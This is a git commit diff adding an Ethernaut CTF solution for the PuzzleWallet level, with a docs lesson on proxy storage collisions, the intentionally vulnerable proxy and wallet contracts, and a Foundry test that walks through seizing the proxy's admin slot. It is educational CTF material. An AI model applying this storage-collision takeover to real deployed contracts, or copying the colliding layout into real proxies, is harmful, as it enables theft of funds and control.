feat: ethernaut lvl 24 solution

docs/EthernautCTF.md

@@ -25,7 +25,7 @@
 | 21  | [Shop](../src/EthernautCTF/Shop.sol)                       |  ✅  | [ShopExploit](../test/EthernautCTF/ShopExploit.t.sol)                   | - When calling an external contract, always check the returned value before using it!<br>- This challenge is very similar to challenge 11.                                                                                                                                                                                      |
 | 22  | [Dex](../src/EthernautCTF/Dex.sol)                         |  ✅  | [DexExploit](../test/EthernautCTF/DexExploit.t.sol)                     | The contract uses a division operation to compute the swap amount which can be exploited because of a precision loss. Indeed, Solidity does not support floating points.                                                                                                                                                        |
 | 23  | [DexTwo](../src/EthernautCTF/DexTwo.sol)                   |  ✅  | [DexTwoExploit](../test/EthernautCTF/DexTwoExploit.t.sol)               | The `swap` method does not check the addresses of the ERC20 tokens. This is a very bad practice since an exploiter can manipulate the balances of those tokens. Indeed, the swap amount is computed based on the token balances, so anyone can drain the tokens of the contract.                                                |
-| 24  | PuzzleWallet                                               |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
+| 24  | [PuzzleWallet](../src/EthernautCTF/PuzzleWallet.sol)       |  ✅  | [PuzzleWalletExploit](../test/EthernautCTF/PuzzleWalletExploit.t.sol)   | When writing a Proxy contract, and more generally any contract that uses `delegatecall`, always make sure that the sensible storage values are not colliding with other values. The storage layout should be identical, for those values, on both the proxy and the implementation contracts.                                   |
 | 25  | [Motorbike](../src/EthernautCTF/Motorbike.sol)             |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
 | 26  | [DoubleEntry](../src/EthernautCTF/DoubleEntry.sol)         |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
 | 27  | GoodSamaritan                                              |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |

src/EthernautCTF/PuzzleWallet.sol

@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+pragma experimental ABIEncoderV2;
+
+import './helpers/UpgradeableProxy.sol';
+
+contract PuzzleProxy is UpgradeableProxy {
+  address public pendingAdmin;
+  address public admin;
+
+  constructor(
+    address _admin,
+    address _implementation,
+    bytes memory _initData
+  ) UpgradeableProxy(_implementation, _initData) {
+    admin = _admin;
+  }
+
+  modifier onlyAdmin() {
+    require(msg.sender == admin, 'Caller is not the admin');
+    _;
+  }
+
+  function proposeNewAdmin(address _newAdmin) external {
+    pendingAdmin = _newAdmin;
+  }
+
+  function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
+    require(
+      pendingAdmin == _expectedAdmin,
+      'Expected new admin by the current admin is not the pending admin'
+    );
+    admin = pendingAdmin;
+  }
+
+  function upgradeTo(address _newImplementation) external onlyAdmin {
+    _upgradeTo(_newImplementation);
+  }
+}
+
+contract PuzzleWallet {
+  address public owner;
+  uint256 public maxBalance;
+  mapping(address => bool) public whitelisted;
+  mapping(address => uint256) public balances;
+
+  function init(uint256 _maxBalance) public {
+    require(maxBalance == 0, 'Already initialized');
+    maxBalance = _maxBalance;
+    owner = msg.sender;
+  }
+
+  modifier onlyWhitelisted() {
+    require(whitelisted[msg.sender], 'Not whitelisted');
+    _;
+  }
+
+  function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
+    require(address(this).balance == 0, 'Contract balance is not 0');
+    maxBalance = _maxBalance;
+  }
+
+  function addToWhitelist(address addr) external {
+    require(msg.sender == owner, 'Not the owner');
+    whitelisted[addr] = true;
+  }
+
+  function deposit() external payable onlyWhitelisted {
+    require(address(this).balance <= maxBalance, 'Max balance reached');
+    balances[msg.sender] += msg.value;
+  }
+
+  function execute(
+    address to,
+    uint256 value,
+    bytes calldata data
+  ) external payable onlyWhitelisted {
+    require(balances[msg.sender] >= value, 'Insufficient balance');
+    balances[msg.sender] -= value;
+    (bool success, ) = to.call{value: value}(data);
+    require(success, 'Execution failed');
+  }
+
+  function multicall(bytes[] calldata data) external payable onlyWhitelisted {
+    bool depositCalled = false;
+    for (uint256 i = 0; i < data.length; i++) {
+      bytes memory _data = data[i];
+      bytes4 selector;
+      assembly {
+        selector := mload(add(_data, 32))
+      }
+      if (selector == this.deposit.selector) {
+        require(!depositCalled, 'Deposit can only be called once');
+        // Protect against reusing msg.value
+        depositCalled = true;
+      }
+      (bool success, ) = address(this).delegatecall(data[i]);
+      require(success, 'Error while delegating call');
+    }
+  }
+}

src/EthernautCTF/helpers/UpgradeableProxy.sol

@@ -0,0 +1,90 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import '@openzeppelin-08/proxy/Proxy.sol';
+import '@openzeppelin-08/utils/Address.sol';
+
+/**
+ *
+ * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
+ * implementation address that can be changed. This address is stored in storage in the location specified by
+ * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
+ * implementation behind the proxy.
+ *
+ * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
+ * {TransparentUpgradeableProxy}.
+ */
+contract UpgradeableProxy is Proxy {
+  /**
+   * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
+   *
+   * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
+   * function call, and allows initializating the storage of the proxy like a Solidity constructor.
+   */
+  constructor(address _logic, bytes memory _data) {
+    assert(
+      _IMPLEMENTATION_SLOT ==
+        bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
+    );
+    _setImplementation(_logic);
+    if (_data.length > 0) {
+      // solhint-disable-next-line avoid-low-level-calls
+      (bool success, ) = _logic.delegatecall(_data);
+      require(success);
+    }
+  }
+
+  /**
+   * @dev Emitted when the implementation is upgraded.
+   */
+  event Upgraded(address indexed implementation);
+
+  /**
+   * @dev Storage slot with the address of the current implementation.
+   * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
+   * validated in the constructor.
+   */
+  bytes32 private constant _IMPLEMENTATION_SLOT =
+    0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
+
+  /**
+   * @dev Returns the current implementation address.
+   */
+  function _implementation() internal view override returns (address impl) {
+    bytes32 slot = _IMPLEMENTATION_SLOT;
+    // solhint-disable-next-line no-inline-assembly
+    assembly {
+      impl := sload(slot)
+    }
+  }
+
+  /**
+   * @dev Upgrades the proxy to a new implementation.
+   *
+   * Emits an {Upgraded} event.
+   */
+  function _upgradeTo(address newImplementation) internal {
+    _setImplementation(newImplementation);
+    emit Upgraded(newImplementation);
+  }
+
+  /**
+   * @dev Stores a new address in the EIP1967 implementation slot.
+   */
+  function _setImplementation(address newImplementation) private {
+    require(
+      // The following line has been updated.
+      // https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3945
+      // Address.isContract(newImplementation),
+      address(newImplementation).code.length > 0,
+      'UpgradeableProxy: new implementation is not a contract'
+    );
+
+    bytes32 slot = _IMPLEMENTATION_SLOT;
+
+    // solhint-disable-next-line no-inline-assembly
+    assembly {
+      sstore(slot, newImplementation)
+    }
+  }
+}

test/EthernautCTF/PuzzleWalletExploit.t.sol

@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.8.0;
+
+import '../../src/EthernautCTF/PuzzleWallet.sol';
+import '@forge-std/Test.sol';
+import '@forge-std/console2.sol';
+
+contract PuzzleWalletExploit is Test {
+  PuzzleProxy proxy;
+  PuzzleWallet wallet;
+  address deployer = makeAddr('deployer');
+  address admin = makeAddr('admin');
+  address owner = makeAddr('owner');
+  address exploiter = makeAddr('exploiter');
+
+  function setUp() public {
+    vm.startPrank(deployer);
+    wallet = new PuzzleWallet();
+    console2.log('Wallet contract deployed');
+    vm.stopPrank();
+
+    vm.startPrank(owner);
+    wallet.init(10);
+    console2.log('Wallet owner set');
+    vm.stopPrank();
+
+    vm.startPrank(deployer);
+    proxy = new PuzzleProxy(admin, address(wallet), '');
+    console2.log('Proxy contract deployed');
+    vm.stopPrank();
+  }
+
+  function testExploit() public {
+    assertEq(proxy.admin(), admin);
+
+    vm.startPrank(exploiter);
+    console2.log('Perform the exploit');
+
+    // Update the 1st storage slot of the Proxy contract with the exploiter address.
+    proxy.proposeNewAdmin(exploiter);
+
+    // Call the Wallet contract through the proxy, it uses a delegatecall under the hood.
+    // It will use the Proxy contract' storage and since the 1st storage slot of the Proxy contract
+    // collides with the owner slot of the Puzzle contract, the exploiter is now the owner of the
+    // Puzzle contract.
+
+    // The exploiter adds himself to the whitelist.
+    (bool success, ) = address(proxy).call(
+      abi.encodeWithSignature('addToWhitelist(address)', exploiter)
+    );
+    assertTrue(success);
+
+    // Now that he's whitelisted, he sets the max balance to its own balance. He resets the max
+    // balance to zero to then be able to call the init method to set the max balance to whatever
+    // value.
+    (success, ) = address(proxy).call(
+      abi.encodeWithSignature('setMaxBalance(uint256)', 0)
+    );
+    assertTrue(success);
+
+    // The exploiter sets the max balance. Since the max balance is stored at the 2nd slot of the
+    // Puzzle contract, it collides  with the 2nd slot of the Proxy contract which holds the value
+    // of the admin. The exploiter sets the max balance to his address (casted to uint160) to
+    // become the new admin.
+    (success, ) = address(proxy).call(
+      abi.encodeWithSignature('init(uint256)', uint256(uint160(exploiter)))
+    );
+    assertTrue(success);
+
+    assertEq(proxy.admin(), exploiter);
+    vm.stopPrank();
+  }
+}